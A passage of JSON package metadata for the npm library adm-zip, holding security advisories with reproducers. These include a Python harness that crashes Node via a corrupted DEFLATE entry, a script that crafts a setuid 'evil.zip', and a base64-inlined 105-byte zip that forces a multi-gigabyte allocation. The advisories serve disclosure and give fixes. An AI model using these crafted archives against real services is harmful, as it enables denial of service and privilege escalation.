f.write(build_harness_script(REPO_DIR))\n print(f\"[*] Wrote Node harness to {harness_path}\")\n return harness_path\n\n\n# ============================================================\n# Step 2: Trigger the vulnerability\n# ============================================================\ndef trigger(harness_path):\n \"\"\"Run the Node harness (in its own isolated child process) that builds\n the malicious zip and feeds it into adm-zip's vulnerable async API.\"\"\"\n print(\"[*] Triggering vulnerability (spawning isolated Node subprocess)...\")\n try:\n proc = subprocess.run(\n [NODE_BIN, harness_path],\n capture_output=True,\n text=True,\n timeout=SUBPROCESS_TIMEOUT_SECONDS,\n cwd=REPO_DIR,\n )\n return {\n \"timed_out\": False,\n \"returncode\": proc.returncode,\n \"stdout\": proc.stdout,\n \"stderr\": proc.stderr,\n }\n except subprocess.TimeoutExpired as e:\n return {\n \"timed_out\": True,\n \"returncode\": None,\n \"stdout\": (e.stdout or b\"\").decode(errors=\"replace\") if isinstance(e.stdout, bytes) else (e.stdout or \"\"),\n \"stderr\": (e.stderr or b\"\").decode(errors=\"replace\") if isinstance(e.stderr, bytes) else (e.stderr or \"\"),\n }\n\n\n# ============================================================\n# Step 3: Verify impact\n# ============================================================\ndef verify(result):\n \"\"\"Check that the child process crashed with an unhandled 'error' event\n originating from the async inflater, and that neither the try/catch nor\n the getDataAsync callback in the harness ever ran.\"\"\"\n print(\"[*] Verifying impact...\")\n print(f\"[*] Child process exit code: {result['returncode']}\")\n print()\n print(\"----- Node child process stdout -----\")\n print(result[\"stdout\"].rstrip())\n print(\"----- Node child process stderr (crash evidence) -----\")\n print(result[\"stderr\"].rstrip())\n print(\"--------------------------------------\")\n print()\n\n if result[\"timed_out\"]:\n print(\"[-] Harness timed out instead of crashing -- inconclusive\")\n return False\n\n stdout = result[\"stdout\"]\n stderr = result[\"stderr\"]\n returncode = result[\"returncode\"]\n\n reached_vuln_call = \"SYNC_CALL_RETURNED_NO_THROW\" in stdout\n was_caught = \"CAUGHT_BY_TRY_CATCH\" in stdout\n callback_fired = \"CALLBACK_FIRED\" in stdout\n process_crashed = returncode is not None and returncode != 0\n unhandled_error_evidence = (\n \"Unhandled 'error' event\" in stderr\n or \"ERR_UNHANDLED_ERROR\" in stderr\n or \"Emitted 'error' event on InflateRaw instance\" in stderr\n )\n\n print(f\"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}\")\n print(f\"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}\")\n print(f\"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}\")\n print(f\"[*] Child process exited non-zero (crashed): {process_crashed}\")\n print(f\"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}\")\n\n success = (\n reached_vuln_call\n and not was_caught\n and not callback_fired\n and process_crashed\n and unhandled_error_evidence\n )\n return success\n\n\n# ============================================================\n# Main\n# ============================================================\nif __name__ == \"__main__\":\n print(f\"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===\")\n print(f\"[*] Target version: {TARGET_VERSION}\")\n print()\n\n harness_path = setup()\n try:\n result = trigger(harness_path)\n success = verify(result)\n finally:\n try:\n os.remove(harness_path)\n print(f\"[*] Cleaned up temp harness file: {harness_path}\")\n except OSError:\n pass\n\n print()\n if success:\n print(\"[+] VULNERABILITY CONFIRMED\")\n print(\n \"[+] Impact: a single untrusted zip file with a corrupted DEFLATE \"\n \"entry crashes the entire Node.js process when read via any \"\n \"adm-zip *Async API (readFileAsync / readAsTextAsync / \"\n \"extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, \"\n \"single-request, unrecoverable process-level Denial of Service.\"\n )\n else:\n print(\"[-] Vulnerability NOT confirmed\")\n\n sys.exit(0 if success else 1)\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:10:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374","https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-8238-w5pm-2374"],"source_kind":"github","identifiers":["GHSA-8238-w5pm-2374"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-10-12T08:00:48.024Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04MjM4LXc1cG0tMjM3NM4AB7E7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04MjM4LXc1cG0tMjM3NM4AB7E7","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04MjM4LXc1cG0tMjM3NM4AB7E7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yY3c0LWY1cnAtZzQyds4AB7AB","url":"https://github.com/advisories/GHSA-rcw4-f5rp-g42v","title":"adm-zip: Decompression-bomb protection (fix for CVE-2026-39244) can be bypassed by declaring uncompressed size as 0","description":"**Affected package:** adm-zip (npm)\n**Affected version:** 0.6.0\n\n## Summary\n\nThe fix shipped for CVE-2026-39244 (`methods/inflater.js`) caps zlib's decompression output via `maxOutputLength: expectedLength`, where `expectedLength` is read directly from the ZIP entry's attacker-controlled \"uncompressed size\" header field (`CENLEN`/`LOCLEN`). This cap is only applied when `expectedLength \u003e 0`:\n\n```js\nconst option = version \u003e= 15 \u0026\u0026 expectedLength \u003e 0 ? { maxOutputLength: expectedLength } : {};\nreturn zlib.inflateRawSync(inbuf, option);\n```\n\nIf an attacker sets the declared uncompressed-size field to exactly **0**, this condition is false, `option` becomes `{}`, and no output cap is passed to zlib at all. Node then falls back to zlib's own internal default limit (several GB), so a small, highly-compressible payload can still be decompressed to a very large size in memory -- the same class of resource-exhaustion issue the original CVE addressed, just triggered differently.\n\n## Steps to Reproduce\n\n1. Build a ZIP archive containing one DEFLATE-compressed entry whose real content is highly redundant (e.g. several MB of a repeated byte, achieving close to the ~1032:1 theoretical raw-DEFLATE compression ratio).\n2. Patch the entry's declared uncompressed-size fields (both the local file header copy and the central directory copy, 4-byte little-endian values) to `0`. The compressed bytes and CRC32 are left untouched -- CRC validation still passes because CRC is computed over the real decompressed output, not the declared size.\n3. Load the archive with `new AdmZip(buffer)` and call `.getEntries()[0].getData()` (or `readFile`/`readAsText`/`extractAllTo`/etc. -- all share the same code path).\n4. Observe: decompression succeeds and returns the full-size buffer with no size restriction applied, whereas the same real data with an honest (but undersized) declared value correctly throws `Cannot create a Buffer larger than N bytes`.\n\n## Proof of Concept\n\nAttached script demonstrates a controlled A/B comparison using the identical real payload in both cases -- only the declared-size header field differs:\n\n- **Control** (declared size = 1024 bytes, deliberately smaller than the true 4MB output): correctly throws, proving the cap mechanism works when `expectedLength \u003e 0`.\n- **Bypass** (declared size = 0, identical real payload): succeeds and returns the full 4,194,304-byte buffer with zero restriction.\n\nVerified reproducible across 3 independent runs.\n\n## Impact\n\nAny application that calls adm-zip's read/extract methods on an untrusted ZIP file (upload handlers, CI artifact extraction, email attachment scanning, etc.) can be made to allocate an amount of memory bounded only by zlib's own internal default rather than any limit the application or adm-zip intends -- a small (tens-of-MB) upload can trigger multi-GB memory consumption, risking process crash/OOM.\n\n## Suggested Fix\n\nApply `maxOutputLength` unconditionally (e.g. defaulting to a sane absolute ceiling, or always passing the declared size regardless of whether it's 0), and/or add an independent compression-ratio check that doesn't rely solely on the attacker-supplied size field.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T18:25:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v","https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-rcw4-f5rp-g42v"],"source_kind":"github","identifiers":["GHSA-rcw4-f5rp-g42v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-29T19:00:11.252Z","updated_at":"2026-10-12T08:00:48.028Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c0LWY1cnAtZzQyds4AB7AB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yY3c0LWY1cnAtZzQyds4AB7AB","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c0LWY1cnAtZzQyds4AB7AB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNWY0LWNjMjktNXg0NM4AB6__","url":"https://github.com/advisories/GHSA-j5f4-cc29-5x44","title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation","description":"## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n return (_attr || 0) \u003e\u003e 16 \u0026 0xfff;\n}\n```\n\n`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `\u0026 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n realistic attacker path — no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo('pysuidbin')\nzi.external_attr = 0o4755 \u003c\u003c 16\nwith zipfile.ZipFile('evil.zip', 'w') as z:\n z.writestr(zi, '#!/bin/sh\\nid\\n')\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require('adm-zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n\nconst fs = require('fs');\nconst st = fs.statSync('/tmp/out/pysuidbin');\nconsole.log((st.mode \u0026 0o7777).toString(8));\n// =\u003e 4755 (setuid bit set — the file is root-owned if the extractor runs as root)\n```\n\n3. Control — same zip, default extraction (`keepOriginalPermission=false`):\n mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip's own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile('suidbin', Buffer.from('#!/bin/sh\\nid\\n'), '', 0o4755);\nzip.writeZip('evil.zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n// same result: stat mode \u0026 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n return (_attr \u003e\u003e 16) \u0026 0o777;\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T18:24:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44","https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-j5f4-cc29-5x44"],"source_kind":"github","identifiers":["GHSA-j5f4-cc29-5x44","CVE-2026-102282"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-29T19:00:11.252Z","updated_at":"2026-10-12T08:00:48.030Z","epss_percentage":0.00149,"epss_percentile":0.03558,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY0LWNjMjktNXg0NM4AB6__","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNWY0LWNjMjktNXg0NM4AB6__","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY0LWNjMjktNXg0NM4AB6__/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cTg1LXhqMzYtdm1mY84AB6Dz","url":"https://github.com/advisories/GHSA-7q85-xj36-vmfc","title":"adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)","description":"### Summary\nadm-zip allocates an entry's output buffer from the declared uncompressed size (central-directory `size` field) before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes.\n\n### Impact\nOn adm-zip 0.5.17 (latest), Node 24, a 105-byte ZIP with one stored entry declaring size = 1,774,399,200 makes `new AdmZip(buf).getEntries()[0].getData()` commit ~1.8 GB of resident memory in ~4.4 s before throwing `Error: ADM-ZIP: CRC32 checksum failed`, roughly 16 million times the input size. Because the buffer is committed before any validation, on a memory-constrained host (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check (uncatchable), and concurrent requests can exhaust memory even on larger hosts. Any service that reads entries from untrusted ZIPs is exposed to a remote denial of service.\n\n### Steps to reproduce\nAttachments are not supported in the advisory form, so the 105-byte PoC (sha256 `980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386`) is inlined as base64 in this self-contained reproducer:\n\n```js\nconst AdmZip = require('adm-zip');\n// 105-byte crafted ZIP, base64-inlined\n// sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386\nconst b64 = \"UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA\";\nconst buf = Buffer.from(b64, \"base64\"); // 105 bytes\nconst zip = new AdmZip(buf);\nzip.getEntries()[0].getData(); // commits ~1.8 GB, then throws \"ADM-ZIP: CRC32 checksum failed\"\n```\n\nThe single entry declares uncompressed size = 1,774,399,200 with a compressed size of 5. `getData()` allocates the full declared size before the CRC check runs, so the memory is committed regardless of the (tiny) actual payload.\n\n### Root cause\n`zipEntry.js` does `Buffer.alloc(\u003cdeclared uncompressed size\u003e)` before checking the declared size against the compressed size / available bytes.\n\n### Suggested fix\nValidate the declared uncompressed size against the compressed size and a configurable maximum before allocating (yauzl, for example, requires the caller to bound this); reject or stream when the declared size is implausible relative to the input. Happy to send a patch.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-18T17:18:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc","https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/advisories/GHSA-7q85-xj36-vmfc"],"source_kind":"github","identifiers":["GHSA-7q85-xj36-vmfc","CVE-2026-77301"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-18T18:00:09.912Z","updated_at":"2026-10-12T08:01:02.735Z","epss_percentage":0.00609,"epss_percentile":0.4752,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cTg1LXhqMzYtdm1mY84AB6Dz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cTg1LXhqMzYtdm1mY84AB6Dz","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.1","vulnerable_version_range":"\u003c 0.6.1"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cTg1LXhqMzYtdm1mY84AB6Dz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12d2M3LXI4bXEtZzJ4Oc4ABlM4","url":"https://github.com/advisories/GHSA-vwc7-r8mq-g2x9","title":"adm-zip extraction follows destination symlinks, allowing arbitrary file overwrite","description":"adm-zip 0.5.9 through 0.6.0 follows symbolic links at the extraction destination. Utils.sanitize in util/utils.js enforces containment by comparing only the string form of an archive entry name against the resolved extraction root, and Utils.writeFileTo opens the computed destination with fs.openSync(path, \"w\", 0o666), which resolves symbolic links and carries neither O_NOFOLLOW nor a pre-write fs.lstatSync check. When a path component at the destination already exists as a symbolic link pointing outside the extraction root, extractAllTo, extractAllToAsync and extractEntryTo write the entry contents through that link and then chmod its target, placing attacker-controlled content in a file outside the root without any traversal sequence appearing in the archive. Reaching the write requires overwrite to be enabled, because the preceding fs.existsSync check also resolves the link and otherwise declines. An attacker able to create a symbolic link inside a shared, reused or predictable extraction directory, such as a temporary directory or a continuous integration workspace, can overwrite any file the extracting process is permitted to write.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-24T15:31:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-76845","https://github.com/cthackers/adm-zip","https://github.com/cthackers/adm-zip/blob/v0.6.0/util/utils.js","https://www.vulncheck.com/advisories/adm-zip-through-arbitrary-file-overwrite-via-symlink-following-on-extraction","https://github.com/cthackers/adm-zip/issues/574","https://github.com/cthackers/adm-zip/pull/575","https://github.com/advisories/GHSA-vwc7-r8mq-g2x9"],"source_kind":"github","identifiers":["GHSA-vwc7-r8mq-g2x9","CVE-2026-76845"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-10-12T08:01:15.589Z","epss_percentage":0.00171,"epss_percentile":0.0564,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d2M3LXI4bXEtZzJ4Oc4ABlM4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12d2M3LXI4bXEtZzJ4Oc4ABlM4","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.5.9, \u003c= 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d2M3LXI4bXEtZzJ4Oc4ABlM4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Y3BjLThoMnctM2o4Nc4ABahG","url":"https://github.com/advisories/GHSA-xcpc-8h2w-3j85","title":"adm-zip: Crafted ZIP file triggers 4GB memory allocation","description":"adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-10T18:32:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-39244","https://github.com/cthackers/adm-zip/issues/568","https://github.com/cthackers/adm-zip/commit/2450dcf417aa29df49270237d18c5245794da3e2","https://github.com/cthackers/adm-zip/releases","https://github.com/advisories/GHSA-xcpc-8h2w-3j85"],"source_kind":"github","identifiers":["GHSA-xcpc-8h2w-3j85","CVE-2026-39244"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-17T22:00:09.087Z","updated_at":"2026-10-12T12:02:27.384Z","epss_percentage":0.00841,"epss_percentile":0.56504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3BjLThoMnctM2o4Nc4ABahG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Y3BjLThoMnctM2o4Nc4ABahG","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.6.0","vulnerable_version_range":"\u003c 0.6.0"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3BjLThoMnctM2o4Nc4ABahG/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN2NmgtaHFtNC0ycmc2","url":"https://github.com/advisories/GHSA-3v6h-hqm4-2rg6","title":"Arbitrary File Write in adm-zip","description":"Versions of `adm-zip` before 0.4.9 are vulnerable to arbitrary file write when used to extract a specifically crafted archive that contains path traversal filenames (`../../file.txt` for example).\n\n\n## Recommendation\n\nUpdate to version 0.4.9 or later.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2018-07-27T17:07:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-1002204","https://github.com/cthackers/adm-zip/pull/212","https://github.com/advisories/GHSA-3v6h-hqm4-2rg6","https://snyk.io/research/zip-slip-vulnerability","https://www.npmjs.com/advisories/681","https://hackerone.com/reports/362118","https://www.npmjs.com/advisories/994","https://github.com/cthackers/adm-zip/commit/62f64004fefb894c523a7143e8a88ebe6c84df25","https://github.com/snyk/zip-slip-vulnerability","https://snyk.io/vuln/npm:adm-zip:20180415","http://www.securityfocus.com/bid/107001"],"source_kind":"github","identifiers":["GHSA-3v6h-hqm4-2rg6","CVE-2018-1002204"],"repository_url":"https://github.com/cthackers/adm-zip","blast_radius":0.0,"created_at":"2022-12-21T16:13:36.862Z","updated_at":"2026-10-12T12:18:25.225Z","epss_percentage":0.13454,"epss_percentile":0.96312,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN2NmgtaHFtNC0ycmc2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN2NmgtaHFtNC0ycmc2","packages":[{"ecosystem":"npm","package_name":"adm-zip","versions":[{"first_patched_version":"0.4.11","vulnerable_version_range":"\u003c 0.4.11"}],"purl":"pkg:npm/adm-zip"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN2NmgtaHFtNC0ycmc2/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/adm-zip","docker_dependents_count":1950,"docker_downloads_count":2515831352,"usage_url":"https://repos.ecosyste.ms/usage/npm/adm-zip","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/adm-zip/dependencies","status":null,"funding_links":["https://github.com/sponsors/cthackers","https://buymeacoffee.com/cthackers"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-19T21:01:37.559Z","issues_count":211,"pull_requests_count":133,"avg_time_to_close_issue":165196337.21348315,"avg_time_to_close_pull_request":7001997.544642857,"issues_closed_count":178,"pull_requests_closed_count":112,"pull_request_authors_count":46,"issue_authors_count":208,"avg_comments_per_issue":2.957345971563981,"avg_comments_per_pull_request":0.40601503759398494,"merged_pull_requests_count":97,"bot_issues_count":0,"bot_pull_requests_count":12,"past_year_issues_count":6,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":379846.75,"past_year_avg_time_to_close_pull_request":989543.6666666666,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":6,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":1.6666666666666667,"past_year_avg_comments_per_pull_request":0.5294117647058824,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":4,"past_year_merged_pull_requests_count":4,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/cthackers%2Fadm-zip/issues","maintainers":[{"login":"5saviahv","count":45,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/5saviahv"},{"login":"MichaelPaulukonis","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MichaelPaulukonis"},{"login":"brn","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/brn"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/adm-zip/codemeta","maintainers":[{"uuid":"cthackers","login":"cthackers","name":null,"email":"iacob.campia@gmail.com","url":null,"packages_count":4,"html_url":"https://www.npmjs.com/~cthackers","role":null,"created_at":"2022-11-10T11:54:14.278Z","updated_at":"2022-11-10T11:54:14.278Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/cthackers/packages"}]}